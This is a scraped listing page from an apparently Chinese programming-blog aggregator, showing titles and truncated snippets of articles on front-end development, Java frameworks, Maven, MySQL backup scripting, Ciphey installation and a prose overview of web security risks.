                           title="360前端星计划-动画可以这么玩" target="_blank">360前端星计划-动画可以这么玩</a>
                        <span class="text-muted">马小蜗</span>

                        <div>动画的基本原理定时器改变对象的属性根据新的属性重新渲染动画functionupdate(context){//更新属性}constticker=newTicker();ticker.tick(update,context);动画的种类1、JavaScript动画操作DOMCanvas2、CSS动画transitionanimation3、SVG动画SMILJS动画的优缺点优点:灵活度、可控性、性能</div>
                    </li>
                    <li><a href="/article/1835368019430305792.htm"
                           title="Vue + Express实现一个表单提交" target="_blank">Vue + Express实现一个表单提交</a>
                        <span class="text-muted">九旬大爷的梦</span>

                        <div>最近在折腾一个cms系统,用的vue+express,但是就一个表单提交就弄了好久,记录一下。环境:Node10+前端:Vue服务端:Express依赖包:vueexpressaxiosexpress-formidableelement-ui(可选)前言:axiosget请求参数是:paramsaxiospost请求参数是:dataexpressget接受参数是req.queryexpresspo</div>
                    </li>
                    <li><a href="/article/1835354447627251712.htm"
                           title="前端知识点" target="_blank">前端知识点</a>
                        <span class="text-muted">ZhangTao_zata</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                        <div>下面是一个最基本的html代码body{font-family:Arial,sans-serif;margin:20px;}//JavaScriptfunctionthatdisplaysanalertwhencalledfunctionshowMessage(){alert("Hello!Youclickedthebutton.");}MyFirstHTMLPageWelcometoMyPage</div>
                    </li>
                    <li><a href="/article/1835352325032603648.htm"
                           title="第三十一节:Vue路由:前端路由vs后端路由的了解" target="_blank">第三十一节:Vue路由:前端路由vs后端路由的了解</a>
                        <span class="text-muted">曹老师</span>

                        <div>1.认识前端路由和后端路由前端路由相对于后端路由而言的,在理解前端路由之前先对于路由有一个基本的了解路由:简而言之,就是把信息从原地址传输到目的地的活动对于我们来说路由就是:根据不同的url地址展示不同的页面内容1.1后端路由以前咱们接触比较多的后端路由,当改变url地址时,浏览器会向服务器发送请求,服务器根据这个url,返回不同的资源内容后端路由的特点就是前端每次跳转到不同url地址,都会重新访</div>
                    </li>
                    <li><a href="/article/1835350917352878080.htm"
                           title="华雁智科前端面试题" target="_blank">华雁智科前端面试题</a>
                        <span class="text-muted">因为奋斗超太帅啦</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E7%AC%94%E8%AF%95%E9%9D%A2%E8%AF%95%E9%97%AE%E9%A2%98%E6%95%B4%E7%90%86/1.htm">前端笔试面试问题整理</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a>
                        <div>1.var变量的提升题目:vara=1functionfun(){console.log(b)varb=2}fun()console.log(a)正确输出结果:undefined、1答错了,给一个大嘴巴子,错误答案输出结果为:2,1此题主要考察var定义的变量,作用域提升的问题,相当于varaa=1functionfun(){varbconsole.log(b)b=2}fun()console.l</div>
                    </li>
                    <li><a href="/article/1835350535818014720.htm"
                           title="如何建设数据中台(五)——数据汇集—打破企业数据孤岛" target="_blank">如何建设数据中台(五)——数据汇集—打破企业数据孤岛</a>
                        <span class="text-muted">weixin_47088026</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95%E5%92%8C%E6%80%BB%E7%BB%93/1.htm">学习记录和总结</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E5%8F%B0/1.htm">中台</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%8F%B0/1.htm">数据中台</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E4%BA%BA%E7%94%9F/1.htm">程序人生</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a>
                        <div>数据汇集——打破企业数据孤岛要构建企业级数据中台,第一步就是将企业内部各个业务系统的数据实现互通互联,打破数据孤岛,主要通过数据汇聚和交换来实现。企业采集的数据可以是线上采集、线下数据采集、互联网数据采集、内部数据采集等。线上数据采集主要载体分为互联网和移动互联网两种,对应有系统平台、网页、H5、小程序、App等,可以采用前端或后端埋点方式采集数据。线下数据采集主要是通过硬件来采集,例如:WiFi</div>
                    </li>
                    <li><a href="/article/1835344356412846080.htm"
                           title="Windows安装ciphey编码工具,附一道ciscn编码题例" target="_blank">Windows安装ciphey编码工具,附一道ciscn编码题例</a>
                        <span class="text-muted">im-Miclelson</span>
<a class="tag" taget="_blank" href="/search/CTF%E5%B7%A5%E5%85%B7/1.htm">CTF工具</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>TA是什么一款智能化的编码分析解码工具,对于CTF中复杂性编码类题目可以快速攻破。编码自动分析解码的神器。如何安装Windows环境Python3.864位(最新的版本不兼容,32位的也不行)PIP直接安装pipinstallciphey-ihttps://pypi.mirrors.ustc.edu.cn/simple/安装后若是出现报错请根据错误代码行数找到对应文件,r修改成rb即可。使用标准语</div>
                    </li>
                    <li><a href="/article/1835343473629294592.htm"
                           title="分布式锁和spring事务管理" target="_blank">分布式锁和spring事务管理</a>
                        <span class="text-muted">暴躁的鱼</span>
<a class="tag" taget="_blank" href="/search/%E9%94%81%E5%8F%8A%E4%BA%8B%E5%8A%A1/1.htm">锁及事务</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>最近开发一个小程序遇到一个需求需要实现分布式事务管理业务需求用户在使用小程序的过程中可以查看景点,对景点地区或者城市标记是否想去,那么需要统计一个地点被标记的人数,以及记录某个用户对某个地点是否标记为想去,用两个表存储数据,一个地点表记录改地点被标记的次数,一个用户意向表记录某个用户对某个地点是否标记为想去。由于可能有多个用户同时标记一个地点,每个用户在前端点击想去按钮之后,后台接收到请求,从数据</div>
                    </li>
                    <li><a href="/article/1835340577596600320.htm"
                           title="前端CSS面试常见题" target="_blank">前端CSS面试常见题</a>
                        <span class="text-muted">剑亦未配妥</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95/1.htm">前端面试</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a>
                        <div>边界塌陷盒模型有两种:W3C盒模型和IE盒模型,区别在于宽度是否包含边框定义:同时给兄弟/父子盒模型设置上下边距,理论上边距值是两者之和,实际上不是注意:浮动和定位不会产生边界塌陷;只有块级元素垂直方向才会产生margin合并margin计算方案margin同为正负:取绝对值大的值一正一负:求和父子元素边界塌陷解决父元素可以通过调整padding处理;设置overflowhidden,触发BFC子</div>
                    </li>
                    <li><a href="/article/1835331376895848448.htm"
                           title="【JS】前端文件读取FileReader操作总结" target="_blank">【JS】前端文件读取FileReader操作总结</a>
                        <span class="text-muted">程序员-张师傅</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>前端文件读取FileReader操作总结FileReader是JavaScript中的一个WebAPI,它允许web应用程序异步读取用户计算机上的文件(或原始数据缓冲区)的内容,例如读取文件以获取其内容,并在不将文件发送到服务器的情况下在客户端使用它。这对于处理图片、文本文件等非常有用,尤其是当你想要在用户界面中即时显示文件内容或进行文件预览时。创建FileReader对象首先,你需要创建一个Fi</div>
                    </li>
                    <li><a href="/article/1835331375377510400.htm"
                           title="【前端】vue 报错:The template root requires exactly one element" target="_blank">【前端】vue 报错:The template root requires exactly one element</a>
                        <span class="text-muted">程序员-张师傅</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a>
                        <div>【前端】vue报错:Thetemplaterootrequiresexactlyoneelement在Vue.js中,当你遇到错误“Thetemplaterootrequiresexactlyoneelement”时,这通常意味着你的Vue组件的模板(template)根节点不是单一的元素。Vue要求每个组件的模板必须有一个根元素来包裹所有的子元素。这个错误通常出现在以下几种情况:模板中有多个并行</div>
                    </li>
                    <li><a href="/article/1835327218037911552.htm"
                           title="Web安全:Web体系架构存在的安全问题和解决方室" target="_blank">Web安全:Web体系架构存在的安全问题和解决方室</a>
                        <span class="text-muted">程序员-张师傅</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>Web体系架构在提供丰富功能和高效服务的同时,也面临着诸多安全问题。这些问题可能涉及数据泄露、服务中断、系统被控制等多个方面,对企业和个人造成不可估量的损失。以下是对Web体系架构中存在的安全问题及解决方案的详细分析:Web体系架构存在的安全问题注入攻击SQL注入:攻击者通过在输入字段中插入恶意SQL代码,操控后台数据库,窃取、篡改或删除数据。OS命令注入:攻击者通过输入字段插入恶意代码,执行系统</div>
                    </li>
                    <li><a href="/article/1835313002123980800.htm"
                           title="2005年高考英语北京卷 - 阅读理解C" target="_blank">2005年高考英语北京卷 - 阅读理解C</a>
                        <span class="text-muted">让文字更美</span>

                        <div>Howcouldwepossiblythinkthatkeepinganimalsincagesinunnaturalenvironments-mostlyforentertainmentpurposes-isfairandrespectful?我们怎么可能认为把动物关在非自然环境的笼子里——主要是为了娱乐目的——是公平和尊重的呢?Zooofficialssaytheyareconcernedab</div>
                    </li>
                    <li><a href="/article/1835302949362954240.htm"
                           title="从单体到微服务:FastAPI ‘挂载’子应用程序的转变" target="_blank">从单体到微服务:FastAPI ‘挂载’子应用程序的转变</a>
                        <span class="text-muted">黑金IT</span>
<a class="tag" taget="_blank" href="/search/fastapi/1.htm">fastapi</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/fastapi/1.htm">fastapi</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>在现代Web应用开发中,模块化架构是一种常见的设计模式,它有助于将大型应用程序分解为更小、更易于管理的部分。FastAPI,作为一个高性能的PythonWeb框架,提供了强大的支持来实现这种模块化设计。通过“挂载”子应用程序,我们可以为不同的功能区域(如前端接口、管理员接口和用户中心)创建独立的应用程序,并将它们整合到一个主应用程序中。本文将详细介绍如何在FastAPI中使用“挂载”子应用程序的方</div>
                    </li>
                                <li><a href="/article/72.htm"
                                       title="Java开发中,spring mvc 的线程怎么调用?" target="_blank">Java开发中,spring mvc 的线程怎么调用?</a>
                                    <span class="text-muted">小麦麦子</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a>
                                    <div>今天逛知乎,看到最近很多人都在问spring mvc 的线程http://www.maiziedu.com/course/java/ 的启动问题,觉得挺有意思的,那哥们儿问的也听仔细,下面的回答也很详尽,分享出来,希望遇对遇到类似问题的Java开发程序猿有所帮助。 
 
问题: 
&nbsp;&nbsp;&nbsp; 在用spring mvc架构的网站上,设一线程在虚拟机启动时运行,线程里有一全局</div>
                                </li>
                                <li><a href="/article/199.htm"
                                       title="maven依赖范围" target="_blank">maven依赖范围</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>1.test 测试的时候才会依赖,编译和打包不依赖,如junit不被打包 
 
2.compile 只有编译和打包时才会依赖 
 
3.provided 编译和测试的时候依赖,打包不依赖,如:tomcat的一些公用jar包 
 
4.runtime 运行时依赖,编译不依赖 
 
5.默认compile 
 
依赖范围compile是支持传递的,test不支持传递 
 
1.传递的意思是项目A,引用</div>
                                </li>
                                <li><a href="/article/326.htm"
                                       title="Jaxb org.xml.sax.saxparseexception : premature end of file" target="_blank">Jaxb org.xml.sax.saxparseexception : premature end of file</a>
                                    <span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/premature/1.htm">premature</a><a class="tag" taget="_blank" href="/search/JAXB/1.htm">JAXB</a>
                                    <div>如果在使用JAXB把xml文件unmarshal成vo(XSD自动生成的vo)时碰到如下错误: 
org.xml.sax.saxparseexception : premature end of file 
很有可能时你直接读取文件为inputstream,然后将inputstream作为构建unmarshal需要的source参数。InputSource inputSource = new In</div>
                                </li>
                                <li><a href="/article/453.htm"
                                       title="CSS Specificity" target="_blank">CSS Specificity</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%87%8D/1.htm">权重</a><a class="tag" taget="_blank" href="/search/Specificity/1.htm">Specificity</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div>&nbsp; 
有时候对于页面元素设置了样式,可为什么页面的显示没有匹配上呢? because specificity   
CSS 的选择符是有权重的,当不同的选择符的样式设置有冲突时,浏览器会采用权重高的选择符设置的样式。   
&nbsp;&nbsp;&nbsp; 规则: 
&nbsp; 
  HTML标签的权重是1

  Class 的权重是10

  Id 的权重是100

</div>
                                </li>
                                <li><a href="/article/580.htm"
                                       title="java与servlet" target="_blank">java与servlet</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a>
                                    <div>servlet 搞java web开发的人一定不会陌生,而且大家还会时常用到它。 
下面是java官方网站上对servlet的介绍:  java官网对于servlet的解释 写道   
Java Servlet Technology Overview Servlets are the Java platform technology of choice for extending and enha</div>
                                </li>
                                <li><a href="/article/707.htm"
                                       title="eclipse中安装maven插件" target="_blank">eclipse中安装maven插件</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>1.首先去官网下载 Maven: 
http://www.apache.org/dyn/closer.cgi/maven/binaries/apache-maven-3.2.3-bin.tar.gz 
下载完成之后将其解压, 
我将解压后的文件夹:apache-maven-3.2.3, 
并将它放在 D:\tools目录下, 
即 maven 最终的路径是:D:\tools\apache-mave</div>
                                </li>
                                <li><a href="/article/834.htm"
                                       title="jpa@OneToOne关联关系" target="_blank">jpa@OneToOne关联关系</a>
                                    <span class="text-muted">布衣凌宇</span>
<a class="tag" taget="_blank" href="/search/jpa/1.htm">jpa</a>
                                    <div>Nruser里的pruserid关联到Pruser的主键id,实现对一个表的增删改,另一个表的数据随之增删改。 
Nruser实体类 
//***************************************************************** 
@Entity 
@Table(name=&quot;nruser&quot;) 
@DynamicInsert @Dynam</div>
                                </li>
                                <li><a href="/article/961.htm"
                                       title="我的spring学习笔记11-Spring中关于声明式事务的配置" target="_blank">我的spring学习笔记11-Spring中关于声明式事务的配置</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E4%BA%8B%E5%8A%A1/1.htm">事务</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a>
                                    <div>这两天学到事务管理这一块,结合到之前的terasoluna框架,觉得书本上讲的还是简单阿。我就把我从书本上学到的再结合实际的项目以及网上看到的一些内容,对声明式事务管理做个整理吧。我看得Spring in Action第二版中只提到了用TransactionProxyFactoryBean和&lt;tx:advice/&gt;,定义注释驱动这三种,我承认后两种的内容很好,很强大。但是实际的项目当中</div>
                                </li>
                                <li><a href="/article/1088.htm"
                                       title="java 动态代理简单实现" target="_blank">java 动态代理简单实现</a>
                                    <span class="text-muted">antlove</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/handler/1.htm">handler</a><a class="tag" taget="_blank" href="/search/proxy/1.htm">proxy</a><a class="tag" taget="_blank" href="/search/dynamic/1.htm">dynamic</a><a class="tag" taget="_blank" href="/search/service/1.htm">service</a>
                                    <div>dynamicproxy.service.HelloService 
package dynamicproxy.service;

public interface HelloService {
	public void sayHello();
}
 
&nbsp; 
dynamicproxy.service.impl.HelloServiceImpl 
package dynamicp</div>
                                </li>
                                <li><a href="/article/1215.htm"
                                       title="JDBC连接数据库" target="_blank">JDBC连接数据库</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/JDBC%E7%BC%96%E7%A8%8B/1.htm">JDBC编程</a><a class="tag" taget="_blank" href="/search/JAVA%E6%93%8D%E4%BD%9Coracle%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">JAVA操作oracle数据库</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp; 如果我们要想连接oracle公司的数据库,就要首先下载oralce公司的驱动程序,将这个驱动程序的jar包导入到我们工程中; 
&nbsp; 
JDBC链接数据库的代码和固定写法; 
&nbsp; 
&nbsp; 
1,加载oracle数据库的驱动; 
&nbsp;&nbsp;&nbsp;&nbsp;&nb</div>
                                </li>
                                <li><a href="/article/1342.htm"
                                       title="单例模式中的多线程分析" target="_blank">单例模式中的多线程分析</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a>
                                    <div>谈到单例模式,我们立马会想到饿汉式和懒汉式加载,所谓饿汉式就是在创建类时就创建好了实例,懒汉式在获取实例时才去创建实例,即延迟加载。 
饿汉式: 
package com.bijian.study;

public class Singleton {

	private Singleton() {
	}

	// 注意这是private 只供内部调用
	private static</div>
                                </li>
                                <li><a href="/article/1469.htm"
                                       title="javascript读取和修改原型特别需要注意原型的读写不具有对等性" target="_blank">javascript读取和修改原型特别需要注意原型的读写不具有对等性</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/prototype/1.htm">prototype</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于从原型对象继承而来的成员,其读和写具有内在的不对等性。比如有一个对象A,假设它的原型对象是B,B的原型对象是null。如果我们需要读取A对象的name属性值,那么JS会优先在A中查找,如果找到了name属性那么就返回;如果A中没有name属性,那么就到原型B中查找name,如果找到了就返回;如果原型B中也没有</div>
                                </li>
                                <li><a href="/article/1596.htm"
                                       title="【持久化框架MyBatis3六】MyBatis3集成第三方DataSource" target="_blank">【持久化框架MyBatis3六】MyBatis3集成第三方DataSource</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/dataSource/1.htm">dataSource</a>
                                    <div>MyBatis内置了数据源的支持,如: 
&nbsp; 
	&lt;environments default=&quot;development&quot;&gt;
		&lt;environment id=&quot;development&quot;&gt;
			&lt;transactionManager type=&quot;JDBC&quot; /&gt;
			&lt;data</div>
                                </li>
                                <li><a href="/article/1723.htm"
                                       title="我程序中用到的urldecode和base64decode,MD5" target="_blank">我程序中用到的urldecode和base64decode,MD5</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/MD5/1.htm">MD5</a><a class="tag" taget="_blank" href="/search/base64decode/1.htm">base64decode</a><a class="tag" taget="_blank" href="/search/urldecode/1.htm">urldecode</a>
                                    <div>这里是base64decode和urldecode,Md5在附件中。因为我是在后台所以需要解码: 
 

string Base64Decode(const char* Data,int DataByte,int&amp; OutByte)
{
    //解码表
    const char DecodeTable[] =
    {
        0, 0, 0, 0, 0, 0</div>
                                </li>
                                <li><a href="/article/1850.htm"
                                       title="腾讯资深运维专家周小军:QQ与微信架构的惊天秘密" target="_blank">腾讯资深运维专家周小军:QQ与微信架构的惊天秘密</a>
                                    <span class="text-muted">ronin47</span>

                                    <div>社交领域一直是互联网创业的大热门,从PC到移动端,从OICQ、MSN到QQ。到了移动互联网时代,社交领域应用开始彻底爆发,直奔黄金期。腾讯在过去几年里,社交平台更是火到爆,QQ和微信坐拥几亿的粉丝,QQ空间和朋友圈各种刷屏,写心得,晒照片,秀视频,那么谁来为企鹅保驾护航呢?支撑QQ和微信海量数据背后的架构又有哪些惊天内幕呢?本期大讲堂的内容来自今年2月份ChinaUnix对腾讯社交网络运营服务中心</div>
                                </li>
                                <li><a href="/article/1977.htm"
                                       title="java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素" target="_blank">java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>

public class MinOfShiftedArray {

	/**
	 * Q69 旋转数组的最小元素
	 * 把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素。
	 * 例如数组{3, 4, 5, 1, 2}为{1, 2, 3, 4, 5}的一个旋转,该数组的最小值为1。
	 */
	publ</div>
                                </li>
                                <li><a href="/article/2104.htm"
                                       title="看博客,应该是有方向的" target="_blank">看博客,应该是有方向的</a>
                                    <span class="text-muted">Cb123456</span>
<a class="tag" taget="_blank" href="/search/%E5%8F%8D%E7%9C%81/1.htm">反省</a><a class="tag" taget="_blank" href="/search/%E7%9C%8B%E5%8D%9A%E5%AE%A2/1.htm">看博客</a>
                                    <div>看博客,应该是有方向的: 
&nbsp;我现在就复习以前的,在补补以前不会的,现在还不会的,同时完善完善项目,也看看别人的博客. 
&nbsp;我刚突然想到的: 
&nbsp;1.应该看计算机组成原理,数据结构,一些算法,还有关于android,java的。 
&nbsp;2.对于我,也快大四了,看一些职业规划的,以及一些学习的经验,看看别人的工作总结的. 
&nbsp; 
&nbsp;为什么要写</div>
                                </li>
                                <li><a href="/article/2231.htm"
                                       title="[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖" target="_blank">[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE/1.htm">开源项目</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp; 为什么这样说呢?&nbsp; 因为科学和技术的发展有时候需要一个平缓和长期的积累过程,但是行政和商业体系本身充满各种不稳定性和不确定性,如果你希望长期从事某个科研项目,但是却又必须依赖于某种行政和商业体系,那其中的过程必定充满各种风险。。。 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以,为避免这种不确定性风险,我</div>
                                </li>
                                <li><a href="/article/2358.htm"
                                       title="一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )" target="_blank">一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )</a>
                                    <span class="text-muted">cwqcwqmax9</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                                    <div>见&nbsp;&nbsp; http://www.itpub.net/forum.php?mod=viewthread&amp;tid=239011 
 
 
 
 
Web翻页优化实例 
 提交时间: 2004-6-18 15:37:49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回复&nbsp;&nbsp;&nbsp; 发消息&nbsp; 
 
 
环境: 
Linux ve</div>
                                </li>
                                <li><a href="/article/2485.htm"
                                       title="Hibernat and Ibatis" target="_blank">Hibernat and Ibatis</a>
                                    <span class="text-muted">dashuaifu</span>
<a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a>
                                    <div>Hibernate&nbsp; VS&nbsp; iBATIS 简介 Hibernate 是当前最流行的O/R mapping框架,当前版本是3.05。它出身于sf.net,现在已经成为Jboss的一部分了 iBATIS 是另外一种优秀的O/R mapping框架,当前版本是2.0。目前属于apache的一个子项目了。 相对Hibernate“O/R”而言,iBATIS 是一种“Sql Mappi</div>
                                </li>
                                <li><a href="/article/2612.htm"
                                       title="备份MYSQL脚本" target="_blank">备份MYSQL脚本</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>#!/bin/sh
# this shell to backup mysql
#1413161683@qq.com (QQ:1413161683 DuChengJiu)

_dbDir=/var/lib/mysql/
_today=`date +%w`
_bakDir=/usr/backup/$_today
[ ! -d $_bakDir ] &amp;&amp; mkdir -p </div>
                                </li>
                                <li><a href="/article/2739.htm"
                                       title="iOS第三方开源库的吐槽和备忘" target="_blank">iOS第三方开源库的吐槽和备忘</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a>
                                    <div>转自 
ibireme的博客   &nbsp;   做iOS开发总会接触到一些第三方库,这里整理一下,做一些吐槽。   &nbsp;   目前比较活跃的社区仍旧是Github,除此以外也有一些不错的库散落在Google Code、SourceForge等地方。由于Github社区太过主流,这里主要介绍一下Github里面流行的iOS库。   &nbsp;   首先整理了一份 
Github上排名靠</div>
                                </li>
                                <li><a href="/article/2866.htm"
                                       title="html wlwmanifest.xml" target="_blank">html wlwmanifest.xml</a>
                                    <span class="text-muted">eoems</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
                                    <div>所谓优化wp_head()就是把从wp_head中移除不需要元素,同时也可以加快速度。 
 
步骤: 
 
加入到function.php 
 
remove_action('wp_head', 'wp_generator'); 
//wp-generator移除wordpress的版本号,本身blog的版本号没什么意义,但是如果让恶意玩家看到,可能会用官网公布的漏洞攻击blog 
 
remov</div>
                                </li>
                                <li><a href="/article/2993.htm"
                                       title="浅谈Java定时器发展" target="_blank">浅谈Java定时器发展</a>
                                    <span class="text-muted">hacksin</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/timer/1.htm">timer</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E5%99%A8/1.htm">定时器</a>
                                    <div>java在jdk1.3中推出了定时器类Timer,而后在jdk1.5后由Dou Lea从新开发出了支持多线程的ScheduleThreadPoolExecutor,从后者的表现来看,可以考虑完全替代Timer了。 
Timer与ScheduleThreadPoolExecutor对比: 
1. 
&nbsp; 
&nbsp;Timer始于jdk1.3,其原理是利用一个TimerTask数组当作队列</div>
                                </li>
                                <li><a href="/article/3120.htm"
                                       title="移动端页面侧边导航滑入效果" target="_blank">移动端页面侧边导航滑入效果</a>
                                    <span class="text-muted">ini</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascirpt/1.htm">javascirpt</a>
                                    <div>效果体验:http://hovertree.com/texiao/mobile/2.htm可以使用移动设备浏览器查看效果。效果使用到jquery-2.1.4.min.js,该版本的jQuery库是用于支持HTML5的浏览器上,不再兼容IE8以前的浏览器,现在移动端浏览器一般都支持HTML5,所以使用该jQuery没问题。HTML文件代码: 
&lt;!DOCTYPE html&gt;
&lt;h</div>
                                </li>
                                <li><a href="/article/3247.htm"
                                       title="AspectJ+Javasist记录日志" target="_blank">AspectJ+Javasist记录日志</a>
                                    <span class="text-muted">kane_xie</span>
<a class="tag" taget="_blank" href="/search/aspectj/1.htm">aspectj</a><a class="tag" taget="_blank" href="/search/javasist/1.htm">javasist</a>
                                    <div>在项目中碰到这样一个需求,对一个服务类的每一个方法,在方法开始和结束的时候分别记录一条日志,内容包括方法名,参数名+参数值以及方法执行的时间。 
&nbsp; 
@Override
public String get(String key) {
//	long start = System.currentTimeMillis();
//	System.out.println(&quot;Be</div>
                                </li>
                                <li><a href="/article/3374.htm"
                                       title="redis学习笔记" target="_blank">redis学习笔记</a>
                                    <span class="text-muted">MJC410621</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a>
                                    <div>1)nosql数据库主要由以下特点:非关系型的、分布式的、开源的、水平可扩展的。 
1,处理超大量的数据 
